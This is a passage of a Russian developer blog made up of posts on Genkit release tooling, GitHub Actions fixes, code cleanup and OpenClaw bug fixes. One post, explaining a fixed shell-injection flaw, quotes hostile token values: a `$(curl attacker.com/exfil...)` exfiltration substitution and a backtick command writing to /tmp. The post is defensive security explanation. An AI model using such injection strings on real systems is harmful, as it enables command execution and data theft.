Блог
Публикации о процессе разработки, решённых задачах и изученных технологиях
Когда разрозненные фильтры становятся одной красивой системой
Вчера закончил работу над **Trend Analysis v0.12.0**, и это было именно то, о чём говорят: когда архитектура начинает складываться как паззл, видишь, что месяцы рефакторинга стоили того. Началось с обычной проблемы. В Cascade frontend было четыре отдельных страницы — explore, radar, objects, recommendations. На каждой свои фильтры, свой способ отображения, свои попапы. Пользователи путались, интерфейс выглядел как лоскутное одеяло. Я смотрел на эту красоту и понимал: нужно унифицировать, но **как** сделать это без полного переписывания? Решение пришло не с первого дня. Сначала запустил сервер-сайд пагинацию в `recommendation_store` — это дало нам контроль над данными на бэке, убрало загрузку всего сразу. Потом добавил динамические роли, которые теперь вытягиваются прямо из P4-отчёта. Не захардкодили — система сама адаптируется к изменениям. На фронте заменил горизонтальные табы на role chips — компактнее, быстрее переключаться. Зона фильтра теперь работает с **topN + поиск**, а не слепо показывает всё подряд. И главное — все четыре страницы получили **единый макет попапера**: одинаковые разделители, одна логика поведения, один стиль. Заняло больше времени, чем казалось, но оно того стоило. Backend часть тоже потребовала внимания. Изначально routes в `api/main.py` ещё включали префикс `/api`, но я переписал это — Vite proxy теперь перенаправляет `/api/*` в `/*` перед отправкой на бэк. Чище, проще масштабировать. Добавил `html.unescape` для StackOverflow заголовков — казалось бы мелочь, а на самом деле это спасает от каши из HTML-энтитиз в интерфейсе. В Lab тоже не сидели сложа руки. Оптимизировал промпты для работы с LLM — теперь структурированная экстракция вместо размытых инструкций. Добавил новый `llm_helpers` модуль, улучшил layout страниц Need detail и Product detail. Таблицы в Lab получили новые колонки — данные стали полнее. Самое приятное? Теперь, когда добавляю новую фичу на одной странице, другие три не ломаются. Система дышит. Вот такой факт о жизни разработчика: перед обновлением NumPy **обязательно** сделай бэкап. И резюме. 😄
GitHub Actions: как булев сломал цель релиза
В проекте **ai-agents-genkit** случилось то, что ломает сердце DevOps-инженеров — релиз не произошёл, хотя кнопка была нажата. Виноват в этом не человеческий фактор, а коварная типизация в GitHub Actions. Всё началось с workflow'а `releasekit-uv.yml`. Там есть параметр `inputs.dry_run` — чекбокс для контроля над релизом. Идея простая: если галочка установлена, делаем проверку без реально опубликованного релиза; если нет — выпускаем официальный релиз с тегами и GitHub Release. Казалось бы, надёжная схема. Но в реальности при нажатии кнопки с `dry_run=false` всё равно выполнялась сухая прогонка. Теги создавались виртуально, GitHub Release никогда не появлялся, и разработчики сидели в недоумении. Диагноз стоял замечательный — **тихая ошибка типизации**. Проблема скрывалась в строке, где вычисляется переменная окружения `DRY_RUN`: ``` inputs.dry_run == 'false' ``` На поверхности выглядит безобидно, но здесь GitHub Actions совершает невидимый трюк. Параметр `inputs.dry_run` объявлен как **тип `boolean`** — настоящий логический тип. Когда разработчик снимает галочку, значение становится собственно булевым `false`. А в выражении сравнения это `false` встречается со строковым литералом `'false'` — символами, завёрнутыми в кавычки. В контексте GitHub Actions выражений `false == 'false'` возвращает `false` именно потому, что это разные типы: логическое значение не равно строке. Логика внутри условия берёт эту `false` и путём трёхместного оператора превращает её в строку `'true'`. Итог: `DRY_RUN` всегда получал значение `'true'`, независимо от того, что нажал пользователь. Исправление оказалось элегантным. Нужно было просто сравнивать булев с булевым: ``` inputs.dry_run && 'true' || 'false' ``` Теперь логика работает честно: если `inputs.dry_run` истина, берём `'true'`; если ложь, берём `'false'`. Типы совпадают, выражение вычисляется корректно. После патча в pull request #4737 жизненный цикл релиза заработал как надо. Версия v0.6.0 уже может быть выпущена с уверенностью, что галочка в интерфейсе workflow'а будет почтительно выполняться машиной. **Вывод:** Boolean-типы кажутся простыми, пока не встретишь их в YAML-выражениях GitHub Actions. Туда же относится любая система с собственным парсером логических значений — всегда проверяй, что тип на одной стороне сравнения совпадает с типом на другой. И помните, в мире Arch Linux говорят: **«это работает» — вот и вся ваша документация** 😄
Когда теги создаются, но не доходят: история молчаливого отказа git
Представь ситуацию: ты выпускаешь версию v0.6.0 Python пакета в проекте Genkit. Процесс отработал без ошибок, логи зелёные, все 68 тегов якобы созданы и запушены. Релиз опубликован. Но через час выясняется — на GitHub никаких тегов нет. Призрак, а не релиз. Именно это произошло с releasekit, инструментом для автоматизации выпусков. Три месяца никто не заметил, пока не стали разбираться, почему теги исчезают. ## Охота на невидимого врага Проблема крылась в `create_tags()` — функции, которая формирует названия тегов по шаблону из `releasekit.toml`: `{label}/{name}-v{version}`. Например, `py/genkit-v0.6.0`. Вот беда: функция принимала параметр `label` (значение `py`), но **забывала его передавать** в три вложенных вызова `format_tag()`. Результат — теги создавались с ведущей косой чертой: `/genkit-v0.6.0` вместо `py/genkit-v0.6.0`. Git видит такое имя и внутренне закатывает глаза — это не валидное имя для ref. Но ошибку не выкидывает. Теги создаются локально с неправильными названиями, команда push выполняется «успешно» (ну, она же отправила битые данные, технически успех), а на удалённый сервер они так и не попадают. Молчком. Без единого предупреждения. Кстати, интересная деталь: функция `delete_tags()` этот баг **не имела** — там `label` уже передавалась правильно. Так бывает. ## От исправления к защите Первое решение — очевидное. Добавить `label=label` во все три вызова `format_tag()`. Но это лишь пластырь. Вторая часть исправления — **валидация перед действием**. Новая функция `validate_tag_name()` проверяет теги против правил git для имён ref: нет ведущих и замыкающих слэшей, нет двойных точек, нет пробелов. И главное — перед тем как создавать хоть один тег, цикл валидации пробегает по **всем** планируемым именам. Если одно невалидно — весь процесс падает с информативной ошибкой. Fail-fast вместо тихого отказа. Третья проблема была скромнее, но реальна. При подготовке окружения в GitHub Actions команда `git checkout -- .` очищает только **отслеживаемые** файлы. Если `uv sync` создаёт неотслеживаемые (`.venv/`, `__pycache__/`), рабочая директория остаётся грязной. Решение — `git reset --hard && git clean -fd`. Полная очистка, как надо. ## Итог: 54 теста и спокойный сон Все изменения покрыты регрессионными тестами — 12 новых, итого 54 проходящих. Теги теперь создаются корректно, валидация срабатывает раньше, чем git начнёт молчать. И, знаешь, есть такое правило в Figma: если она работает — не трогай 😄
Genkit Python 0.6.0: чем занимается фреймворк, пока мы спим
Представьте: вы выпускаете новую версию фреймворка для AI-агентов, и в неё попадают обновления аж в **семь компонентов** одновременно. Это именно то, что произошло в Genkit Python v0.6.0 — релиз, который показывает, как устроена работа над сложным инструментом в экосистеме Google. ## Что делалось в это время Начнём с фактов. В этом релизе обновились: - **genkit-tools-model-config-test** — инструмент для тестирования конфигов моделей - **genkit-plugin-fastapi** — интеграция с FastAPI (новая, поэтому версия 0.2.0) - **web-fastapi-bugbot** — демо-приложение на FastAPI - **provider-vertex-ai-model-garden** и другие провайдеры Но это не просто версионирование. За номерами скрываются *реальные проблемы*, которые команда решала неделями. ## Какие боли пришлось лечить Elisa Shen переехала тесты для model-config между модулями — звучит просто, но это значит, что архитектура тестов не совпадала с архитектурой приложения. Yesudeep Mangalapilly, похоже, провёл несколько ночей на **CI license checks** — когда система непрерывной интеграции упорно отказывается принимать код из-за лицензионных метаданных. Особенно интересно: в **web-fastapi-bugbot** обнаружилась проблема с **structlog config** — логирование почему-то перезаписывалось, и это ломало вывод. Вроде бы мелочь, но попробуйте дебажить асинхронный код без логов. А ещё оказалось, что при работе с DeepSeek JSON кодировался дважды — классическая ошибка, когда разработчик забыл, что данные уже сериализованы. ## Реальная архитектура, видимая через коммиты То, что я видел в истории коммитов — это не просто хаотичное исправление багов. Это **планомерная работа по стабилизации**: 1. Сначала добавили новый провайдер Cohere (нужен был в примерах) 2. Потом выпрямили schema handling в Gemini — там были проблемы с nullable типами в JSON Schema 3. Параллельно мигрировали на `gemini-embedding-001` (видимо, старая модель уже не работала так хорошо) 4. На конец добавили новый пример с REST + gRPC endpoints — так больше разработчиков смогут начать работу Команда думала не только о текущем функционале, но и о том, как новичок будет разбираться в коде. ## Потерянные в миграции Интересный момент: если присмотреться, некоторые коммиты дублируются в списке. Это намёк на то, что код переживал рефакторинг — что-то переехало между модулями, что-то было переписано. Такое бывает при *конфликте зависимостей* — когда один модуль нужен другому, и оба хотят измениться одновременно. ## Что дальше v0.6.0 — это не просто релиз. Это **стабилизация** перед большим толчком. Команда позаботилась о том, чтобы разработчики могли спокойно использовать FastAPI, работать с разными провайдерами (Cohere, Vertex AI, Google Gemini) и не падать на типичных граблях. А знаете, что самое забавное? Ubuntu — единственная технология, где «это работает» считается документацией. 😄
Одновременно 12 пакетов Genkit: как releasekit спас нас от ручной координации
Знаете ощущение, когда нужно выпустить обновление для целой экосистемы пакетов? Вчера я столкнулся с этим вызовом на проекте **Genkit** — это фреймворк для работы с AI-агентами. У нас было 12 пакетов, которые нуждались в новом релизе одновременно. Раньше такое означало бы ручной марафон: проверить зависимости каждого плагина, вручную бампить версии, убедиться, что ничего не сломалось. Кошмар координации. Но на этот раз у нас был **releasekit** — инструмент, который автоматизирует весь процесс выпуска. ## Разбор по полочкам Я запустил простую команду: ``` py/bin/releasekit plan --bumped --publishable ``` И вот что произошло. Releasekit проанализировал все коммиты, обнаружил, что у основного пакета **genkit** было 11 связанных изменений: - **genkit-plugin-anthropic** — 0.5.0 → 0.6.0 - **genkit-plugin-compat-oai** — 0.5.0 → 0.6.0 - **genkit-plugin-evaluators** — 0.5.0 → 0.6.0 - **genkit-plugin-fastapi** — 0.5.0 → 0.6.0 И ещё 8 плагинов для Google Cloud, Google Genai, Ollama, XAI, DeepSeek, Flask и Vertex AI. ## Почему это работает? Releasekit сканирует конвенциональные коммиты (conventional commits) в истории Git и определяет, нужно ли бампить версию. Минорное обновление 0.5.0 → 0.6.0 означает, что добавилась функциональность или были исправлены баги, но не сломалась обратная совместимость. Интересный момент: система обнаружила один нестандартный коммит — `'elisa/fix/core framework improvements (#4649)'` — и выдала предупреждение. Сообщение было в формате ветки, а не в формате `fix: ...`. Но это не остановило процесс — просто залогировалось как warning. ## Основные исправления в этом релизе Среди всех этих 12 пакетов было несколько критических фиксов: - Исправление пути для логирования в ядре (Path fix for logging) - Замена literalного нуль-байта на Git-экранирование `%x00` в changelog — вещь техническая, но важная для совместимости - Улучшения в Firebase telemetry и рефакторинг реализации - Асинхронное создание клиента с обновлением credentials в фоне для **genkit-plugin-vertex-ai** ## IT факт в завершение А вы знали, почему DynamoDB не пришёл на вечеринку? Его заблокировал firewall. 😄 Шутки шутками, но система контроля версий и автоматизации релизов — это реально спасение для монорепозиториев с десятком зависимостей. Вместо того чтобы спать-не-спать и боязно кликать по кнопке publish, я просто дал команду и пошёл пить кофе. Releasekit сделал всю грязную работу: вычислил версии, составил changelog, все 12 пакетов готовы к публикации. Вот это я понимаю под словом *DX* (Developer Experience).
ReleaseKit: граф совместимости лицензий вместо головной боли
В **ai-agents-genkit** вдруг обнаружилась проблема, которую я раньше даже не замечал. Проект использует кучу зависимостей с разными лицензиями: MIT, Apache-2.0, GPL, BSD. Но беда в том, что не все они дружат друг с другом. GPL тащит за собой требования, которые конфликтуют с proprietary кодом. Apache может стать несовместима с AGPL. Вручную проверять каждую — это путь в ад. Вот я и собрал для **ReleaseKit** полноценную систему проверки лицензийной совместимости. Звучит скучно? Погоди. ## Как это работает Начал с парсера SPDX-выражений. Да, существуют лицензии, записанные как `(MIT AND Apache-2.0) OR GPL-3.0 WITH Classpath-exception-1.0`. Стандартная строка из жизни. Парсер строит AST, понимает операторы `AND`, `OR`, `WITH`, может вычислить результат. Потом идёт граф — 167 лицензий, 42 правила совместимости. Каждый пакет в дереве зависимостей получает статус: **OK**, **WARNING** (несовместимость), **ERROR** (блокирующая). Система умеет парсить `uv.lock`, `package-lock.json`, `Cargo.lock` — охватывает Python, JavaScript, Rust, Go, Dart, Java и даже Clojure. А дальше — интерактивное исправление. Флаг `--fix` запускает диалог: видишь конфликт — выбираешь действие: *exemption* (исключение), *allow* (разрешить), *deny* (запретить), *override* (переопределить). Конфиг пишется в `releasekit.toml` с сохранением комментариев (спасибо, `tomlkit`). ## Тестирование как искусство Покрыл ~800 тестов на все случаи жизни: парсер SPDX (100+ кейсов с edge cases), граф совместимости (150+ комбинаций), обнаружение лицензий в манифестах семи экосистем (80+ проверок), фаззер для SPDX-резолвера (5 стадий: точное совпадение → алиасы → нормализация → префикс → Левенштейн). Даже есть скрипт `verify_license_data.py` — проверяет, что кросс-ссылки в `licenses.toml` и `license_compatibility.toml` не сломаны. ## Почему это серьёзно Лицензийная совместимость — не баг, не фича, это *compliance*. Один пропущенный конфликт = проблемы на prod. Раньше я пытался делать это руками, экселем, документом. Теперь система автоматическая, проверяемая, интерактивная. Документация новая — гайд для интерактивного исправления, слайды с демо-сессией в терминале, полная архитектура. ## Забавный факт Pandas: решение проблемы, о существовании которой ты не знал, способом, который не понимаешь. 😄
Как мы научили CI передавать право подписи релизам
Работаю в **Genkit** — это Python-библиотека для генеративного ИИ. Недавно столкнулись с задачей, которая на первый взгляд казалась простой: автоматизировать выпуск версий. Но под капотом скрывалась целая история про доверие, аутентификацию и то, как машина доказывает GitHub, что она имеет право что-то коммитить. ## Проблема: три способа подписать себя При каждом автоматическом релизе нужно создать коммит с тегами, но **GitHub не доверяет просто так**. Проверяет CLA (Contributor License Agreement) — то есть нужен реальный аккаунт, подписавший соглашение. Мы выбрали три дорожки: **GitHub App** (премиум) — приложение Genkit, созданное в самом GitHub. Оно вызывает API, API возвращает специальный ID юзера, и коммиты становятся от лица бота-приложения. CLA проходит, CI запускается. **Personal Access Token (PAT)** — обычный токен для конкретного аккаунта разработчика. Уже знаком каждому, кто работал с GitHub CLI. Так же проходит CLA и запускает CI. **GITHUB_TOKEN** (есть по умолчанию) — встроенный токен, даёт доступ каждому Action. Главный трюк: даже с ним можно подделать идентичность, если в переменных репо хранить имя и email человека, который подписал CLA. ## Как это устроено Все восемь рабочих потоков в Genkit теперь получили `auth` job на первом этапе. Он проверяет, что настроено (App? PAT? или только GITHUB_TOKEN?), и резолвит идентичность: - **App**: ищет юзер-ID через `gh api`, делает коммит от `genkit-bot` - **PAT**: берёт `RELEASEKIT_GIT_USER_NAME` и `RELEASEKIT_GIT_USER_EMAIL` из переменных репо - **GITHUB_TOKEN**: то же самое, плюс fallback на `github-actions[bot]` Главное: если ты находишься в ситуации, когда App и PAT недоступны, но у тебя есть CLA-подписанный аккаунт — просто добавь две переменные в настройки репо, и даже встроенный токен пройдёт проверку CLA. ## Бонус: bootstrap_tags.py Отдельно создали скрипт, который читает конфиг `releasekit.toml`, находит все пакеты в `library_dirs`, и создаёт теги для каждого пакета отдельно. Не hardcode'ит пути типа `['packages', 'plugins']`, а читает их из конфига. В итоге — 24 тега за раз, и все они указывают на правильный коммит. ## На практике Теперь разработчик может зайти на страницу переменных GitHub репо, добавить два поля (имя и почту) — и релизы будут проходить CLA, даже без App или PAT. Это снижает барьер входа для новых контрибьюторов. Мой код работает, и я знаю почему. Мой код не работает, и я уже добавил логирование. 😄
Как git push --force-with-lease спасает CI от зацикливания на release-ветках
Работаем над **genkit** — платформой для AI-агентов от Google. В проекте есть автоматическая система выпуска релизов, которая живёт в `releasekit-uv.yml` и должна была работать как часы. Но в какой-то момент CI начал падать с ошибкой non-fast-forward при попытке создать PR для релиза. ## Проблема: ветка, которая не отпускает Корень зла оказался простым, но коварным. Функция `prepare_release()` каждый раз **пересоздаёт release-ветку с нуля**, используя `git checkout -B`. Это нормально, если ветка только локальная. Но когда она уже существует на удалённом репозитории (остаток от прошлого запуска CI), `git push` отказывается её обновлять — это же non-fast-forward изменение, потенциально опасное. Ситуация усугублялась тем, что CI часто запускается повторно: разработчик запустил релиз, что-то пошло не так, и он попытался снова. На втором прогоне `releasekit` уже видит старую ветку на origin и падает. ## Решение: force с умом Мы добавили параметр `force: bool = False` в протокол `VCS` — это общий интерфейс, который поддерживают и Git, и Mercurial. В реализации для Git выбрали **`--force-with-lease`** вместо обычного `--force`. Почему именно `--force-with-lease`? Потому что это безопаснее. Обычный `--force` перезапишет любую историю на удалённом сервере, даже если её там уже изменили руки коллеги. `--force-with-lease` проверит: "Удалённая ветка ещё в том состоянии, которое я последний раз видел?" Если нет — откажет. Это защита от случайного стирания чужой работы. В `prepare.py` теперь вызываем: ``` vcs.push(force=True) ``` И выполненных тестов говорят, что всё работает: `ruff check`, `py type check`, `pyrefly check` — все зелёные. ## Заодно навели чистоту Улучшили обработку ошибок в `cli.py` — теперь `_cmd_prepare` ловит `RuntimeError` и логирует событие `prepare_error` вместо полного traceback'а. А в GitHub Actions улучшили читаемость: если что-то сломалось, выводим последние 50 строк логов вне группы `::group::`, чтобы видно было сразу, без разворачивания. Бонус: переписали скрипт `setup.sh` — заменили медленный O(M×N) цикл с grep'ом на быструю O(M+N) ассоциативную таблицу для проверки уже загруженных моделей Ollama. Мелочь, но помогает ускорить инициализацию. ## Вывод Иногда самые коварные баги скрывают простые решения: просто нужно знать нужный флаг Git и немного поработать над безопасностью. Теперь release-ветки пересоздаются без конфликтов, CI стабилен, и разработчики могут перезапускать подготовку релизов столько раз, сколько нужно. --- *Что общего у Selenium и подростка? Оба непредсказуемы и требуют постоянного внимания.* 😄
Когда техдолг кусает в спину: как мы очистили 2600 строк мёртвого кода
Проект **trend-analysis** вырос из стартапа в полноценный инструмент анализа трендов. Но с ростом пришла и проблема — код начал напоминать старый чердак, где каждый разработчик оставлял свои артефакты, не убирая за собой. Мы столкнулись с классической ситуацией: **git** показывает нам красивую историю коммитов, но реальность была печальнее. В коде жили дублирующиеся адаптеры — `tech.py`, `academic.py`, `marketplace.py` — целых 1013 строк, которые делали ровно то же самое, что их потомки в отдельных файлах (`hacker_news.py`, `github.py`, `arxiv.py`). Вот уже месяц разработчики путались, какой адаптер на самом деле использует **API**, а какой просто валяется без дела. Начали расследование. Нашли `api/services/data_mapping.py` — 270 строк кода, которые никто не импортировал уже полгода. Потом обнаружили целые рабочие процессы (`workflow.py`, `full_workflow.py`) — 121 строка, к которым никто не обращался. На фронтенде ситуация была похожей: компоненты `signal-table`, `impact-zone-card`, `empty-state` (409 строк) спокойно сидели в проекте, как будто их кто-то забыл удалить после рефакторинга. Но это был只 верхушка айсберга. Самое интересное — **ghost queries**. В базе была функция `_get_trend_sources_from_db()`, которая запрашивала таблицу `trend_sources`. Только вот эта таблица никогда не была создана (`CREATE TABLE` в миграциях отсутствовал). Функция мирно работала, возвращала пустой результат, и никто не замечал. Чистый пример того, как техдолг становится невидимым врагом. Мы начали с **DRY-принципа** на фронтенде — извлекли константы (`SOURCE_LABELS`, `CATEGORY_DOT_COLOR` и др.) в единый файл `lib/constants.ts`. Потом привели в порядок бэкенд: исправили `credits_store.py`, заменив прямой вызов `sqlite3.connect()` на правильный `db.connection.get_conn()` — это была потенциальная уязвимость в управлении подключениями. Очистили `requirements.txt` и `.env.example` — закомментировали неиспользуемые пакеты (`exa-py`, `pyvis`, `hypothesis`) и удалили мёртвые переменные окружения (`DATABASE_URL`, `LANGSMITH_*`, `EMBEDDING_*`). Исправили даже шаблоны тестов: эндпоинт `/trends/job-t/report` переименовали в `/analyses/job-t/report` для консистентности. Итого: 2600+ строк удалено, архитектура очищена, сразу стало проще ориентироваться в коде. Техдолг не исчезнет полностью — это часть разработки, — но его нужно время от времени погашать, чтобы проект оставался живым. А знаете, почему **Angular** лучший друг разработчика? 😄 Потому что без него ничего не работает. С ним тоже, но хотя бы есть кого винить.
Когда группа видна, а отправитель — нет: история одного бага
# Когда group chat показывает группу, но скрывает отправителя Проект OpenClaw — это не новый стартап, это сложная экосистема для работы с разными мессенджерами. И вот в BlueBubbles, интеграции для синхронизации Apple Messages, обнаружилась тонкая проблема: когда кто-то писал в групповой чат, группа отображалась как группа, но вот кто именно написал сообщение — оставалось загадкой. Представь: на экране видишь «[BlueBubbles] Сообщение пришло в "Друзья на даче"», а автора — хоть ты тресни. Задача была чёткая: сделать, чтобы в групповых чатах группа показывалась нормально, но при этом было видно, кто именно написал. Звучит просто, но в голове разработчика крутилось одно: как это реализовано в других каналах? Потому что вбивать велосипед — верный путь к техдолгу. **Первым делом** достали функцию `formatInboundEnvelope` — она уже использовалась в iMessage и Signal. Оказалось, там логика уже готовая: группе выделяется свой вид в заголовке (envelope header), а имя отправителя добавляется в тело сообщения. Скопировать этот паттерн в BlueBubbles значило привести всё в соответствие с остальной системой. Но тут вылезла вторая проблема: после форматирования сообщения нужно его ещё и обработать правильно. Включили `finalizeInboundContext` — функцию, которая нормализует поля, выставляет правильный ChatType, подставляет ConversationLabel и выравнивает MediaType. То есть применили тот же подход, что в iMessage и Signal. **BodyForAgent** при этом переключили на сырой текст (rawBody) вместо обёрнутого в конверт — иначе агент будет работать с `[BlueBubbles ...] текст сообщения`, а не с чистым текстом. И вот неожиданность: нужно было выровнять `fromLabel` с функцией `formatInboundFromLabel`. Суть в том, что для групп нужно писать «GroupName id:peerId», для личных сообщений — «Name id:senderId» (если имя отличается от ID). Мелкая, казалось бы, деталь, но она делает систему консистентной: везде одинаковый формат. **Интересный факт**: когда разные каналы используют разные форматы одних и тех же данных, это тихий убийца debugging'а. Тестировщик смотрит на iMessage, видит одно, смотрит на BlueBubbles — видит другое. Казалось бы, одна функция, один формат, но нет — каждый канал решил, что сам знает лучше. Поэтому когда разработчик вспомнил о единообразии, это был момент, когда система стала *ровнее*. Результат: BlueBubbles теперь работает как остальные каналы. Групповые чаты показываются группой, отправители видны, ConversationLabel наконец начинает возвращать имя группы вместо undefined. И главное — это не кастомный костыль, а применение существующего паттерна из iMessage и Signal. Система стала более предсказуемой. Теперь, когда приходит сообщение в групповой чат BlueBubbles, всё отображается логично: видна группа, видно, кто пишет, агент получает чистый текст для обработки. Ничего особенного, просто хорошая инженерия. **Разработчик на собеседовании**: «Я умею выравнивать форматы данных между каналами». Интервьюер: «А конкретно?» Разработчик: «Ну, BeautifulSoup, regex и... молитвы к богу синхронизации». 😄
Когда shell выполняет то, чего ты не просил
# Когда shell не в курсе, что ты хочешь Представь ситуацию: ты разработчик в openclaw, работаешь над безопасностью сохранения учётных данных в macOS. Всё казалось простым — берём OAuth-токен от пользователя, кладём его в системный keychain через команду `security add-generic-password`. Дело 10 минут, правда? Но потом коллега задаёт вопрос, которого ты боялся: «А что, если токен содержит что-нибудь подозрительное?» ## История одного $() Задача была в проекте openclaw и относилась к критической — предотвращение shell injection. В коде использовался **execSync**, который вызывал команду `security` через интерпретатор оболочки. Разработчик защищал от экранирования одинарными кавычками, заменяя `'` на `'"'"'`. Типичный трюк, правда? Но вот беда: одинарные кавычки защищают от большинства вещей, но не от *всего*. Если пользователь присылает OAuth-токен вроде `$(curl attacker.com/exfil?data=...)` или использует обратные кавычки `` `id > /tmp/pwned` ``, shell обработает эту подстановку команд ещё *до* того, как начнёт интерпретировать кавычки. Command injection по классике — CWE-78, HIGH severity. Представь масштаб: любой человек с правом выбрать поддельного OAuth-провайдера может выполнить произвольную команду с правами пользователя, на котором запущен gateway. ## execFileSync вместо execSync Решение было гениально простым: не передавать команду через shell вообще. Вместо **execSync** с интерпретатором разработчик выбрал **execFileSync** — функция, которая запускает программу напрямую, минуя `/bin/sh`. Аргументы передаются массивом, а не строкой. Вместо: ``` execSync(`security add-generic-password -U -s "..." -a "..." -w '${токен}'`) ``` Теперь: ``` execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", tokenValue]) ``` Красота в том, что OS сама разбирает границы аргументов — никакого shell, никакого интерпретирования метасимволов, токен остаётся просто токеном. ## Маленький факт о системной безопасности Знаешь, в системах Unix уже *десятилетия* говорят: не используй shell для запуска программ, если не нужна shell. Но почему-то разработчики снова и снова создают уязвимости через `execSync` с конкатенацией строк. Это как баг-батарея, которая никогда не кончается. ## Итого Pull request #15924 закрыл уязвимость в момент, когда она была обнаружена. Проект openclaw получил более безопасный способ работы с учётными данными, и никакой `$(whoami)` в OAuth-токене больше не сломает систему. Разработчик выучил (или вспомнил) важный урок: функции типа **execFileSync**, **subprocess.run** с `shell=False` или Go's **os/exec** — это не просто удобство, это *основа* безопасности. Главное? Всегда думай о том, как интерпретируется твоя команда. Shell — могущественная штука, но она должна быть твоим последним выбором, когда нужна *подстановка*, а не просто запуск программы. 😄 Совет дня: если ты вставляешь пользовательские данные в shell-команду, то ты уже потерял игру — выбери другой API.
Когда markdown убивает formatting: история трёх багов в Signal
Представьте себе: сообщение прошло через markdown-парсер, выглядит идеально в превью, но при рендеринге в Signal вдруг... смещение стилей, невидимые горизонтальные линии, списки прыгают по экрану. Именно эту головоломку решала команда OpenClaw в коммите #9781. ## Три слоя проблем Первый слой — **markdown IR** (внутреннее представление). Оказалось, что парсер генерирует лишние переносы между элементами списков и следующими абзацами. Вложенные списки теряют отступы, блокавроты выпускают лишние символы новой строки. Хуже всего — горизонтальные линии вообще молча пропадали вместо того, чтобы отобразиться видимым разделителем `───`. Второй слой — **Signal formatting**. Здесь затаилась коварная ошибка с накопительным сдвигом. Когда в одном сообщении расширялось несколько ссылок, функция `applyInsertionsToStyles()` использовала *исходные* координаты для каждой вставки, забывая про смещение от предыдущих. Результат: жирный текст приземлялся в совершенно неправильное место, как если бы вы сдвинули закладку, но продолжили считать позицию от начала книги. Третий слой — **chunking** (разбиение текста). Старый код полагался на `indexOf`, что было хрупким и непредсказуемым. Нужно было переписать на детерминированное отслеживание позиции с уважением к границам слов, скобкам раскрытых ссылок и корректным смещениям стилей. ## Как это чинили Команда не просто закрыла баги — она переписала логику: - Markdown IR: добавили проверку всех случаев с пробелами, отступами, специальными символами. Теперь горизонтальные линии видны, списки выравнены, блокавроты дышат правильно. - Signal: внедрили *cumulative shift tracking* — отслеживание накопленного смещения при каждой вставке. Плюс переделали `splitSignalFormattedText()` так, чтобы он разбивал по пробелам и новым строкам, не ломал скобки, и корректно пересчитывал диапазоны стилей для каждого чанка. - Тесты: добавили **69 новых тестов** — 51 для markdown IR, 18 для Signal formatting. Это не просто покрытие, это *регрессионные подушки* на будущее. ## Факт о markdown Markdown IR — это промежуточный формат, который сидит между текстом и финальным рендером. Он как сценарий между сценаристом и режиссёром: правильно оформленный сценарий экономит часы на съёмках. Неправильный — и режиссер тратит дни на исправления. ## Итог Баг был системный: не один глюк, а целая цепочка проблем в разных слоях абстракции. Но вот что интересно — команда не прошлась по нему топором, а аккуратно разобрала каждый слой, понял каждую причину, переписала на правильную логику. Результат: сообщения теперь форматируются предсказуемо, стили не смещаются, текст разбивается умно. А коммит #9781 теперь живет в истории как пример того, как **системное мышление** побеждает импульсивные фиксы. P.S. Что сказал Claude при деплое этого коммита? «Не трогайте меня, я нестабилен» 😄
Как мы поймали CSRF-атаку в OAuth: история исправления OC-25
Вчера мне попался один из тех багов, которые одновременно просты и страшны. В проекте **openclaw** обнаружилась уязвимость в OAuth-потоке проекта **chutes** — и она была настолько хитрой, что я сначала не поверил собственным глазам. ## Завязка: криптография проиграла халатности Представьте: пользователь запускает `openclaw login chutes --manual`. Система генерирует криптографически стойкий state-параметр — случайные 16 байт в hex-формате. Это как выдать клиенту уникальный билет в кино и попросить вернуть его при входе. Стандартная защита от CSRF-атак. Но вот беда. Функция `parseOAuthCallbackInput()` получала этот callback от OAuth-провайдера и... просто забывала проверить, совпадает ли state в ответе с тем самым ожидаемым значением. **Был сгенерирован криптографический nonce, но никто его не проверял**. ## Развитие: когда код сам себя саботирует Вторая проблема оказалась ещё коварнее. Когда URL-парсинг падал (например, пользователь вводил код вручную), блок `catch` **сам генерировал matching state**, используя `expectedState`. Представьте парадокс: система ловит ошибку парсинга и тут же создаёт фальшивый state, чтобы проверка всегда прошла успешно. Атакующий мог просто перенаправить жертву на вредоносный URL с подобранным state-параметром, и система бы его приняла. Это как выдать билет, потом спросить у человека "где ваш билет?", он ответит "ну, вот такой", — и вы проверите его по памяти вместо того, чтобы сверить с оригиналом. ## Факт: почему это работало OAuth state-параметр — это классический способ защиты, описанный в RFC 6749. Его задача: гарантировать, что callback идёт именно от авторизованного провайдера, а не из MITM-атаки. Но защита работает только если код **действительно проверяет** state. Здесь же проверка была театром: система шла по сценарию, не глядя на сцену. ## Итог и урок Фикс в PR #16058 добавил то, что должно было быть с самого начала: **реальное сравнение** extracted state с expectedState. Теперь если они не совпадают, callback отклоняется. Catch-блок больше не fabricирует фальшивые значения. Это напомнило мне старую истину: криптография — это не когда ты знаешь алгоритм. Это когда ты его используешь. А ещё это напомнило мне поговорку: **prompt engineering** — единственная профессия, о которой не мечтал ни один ребёнок, но теперь все мечтают объяснить ей, почему их код не работает. 😄
Как Slack потерял свои картинки: история об индексах и массивах
В проекте **OpenClaw** обнаружилась хитрая проблема с обработкой многофайловых сообщений из Slack. Когда пользователь отправлял несколько изображений одновременно, система загружала только первое, остальные просто исчезали. Звучит как обычный баг, но под капотом скрывалась классическая история о рассинхронизации данных. Всё началось с функции `resolveSlackMedia()`. Она работала как конвейер: берёт сообщение, загружает файл, **возвращает результат и выходит**. Всё просто и понятно, пока не нужны вложения по одному. Но когда в сообщении несколько картинок — функция падала после первой, словно устав от работы. Беда была в том, что разработчики забыли основное правило: *не выходи раньше времени*. Решение пришло из соседних адаптеров. **Telegram**, **Line**, **Discord** и **iMessage** давно научились собирать все загруженные файлы в массив перед возвратом. Идея простая: не возвращай результат сразу, накапливай его, а потом отдай весь пакет целиком. Именно это и сделали разработчики — завернули все пути файлов, URL-адреса и типы в соответствующие массивы `MediaPaths`, `MediaUrls` и `MediaTypes`. Но тут начинались настоящие приключения. Когда внизу конвейера код пытался обработать медиа для анализа зрения (vision), подготовки sandbox или создания заметок, он ожидал, что три массива идеально синхронизированы по длине. Каждому файлу должен соответствовать его тип (`application/octet-stream` или более точный MIME). И вот тут обнаружилась вторая подвох: при фильтрации `filter(Boolean)` удалялись записи с пустыми типами, массив сжимался, индексы ломались. Файл номер два становился номером один, и система присваивала неправильный MIME-тип. **Финальный трюк** — заменить фильтр на простую подстановку: если тип не определён, используй универсальный `"application/octet-stream"`. Теперь массивы всегда совпадают по размеру, индексы совпадают, и каждый 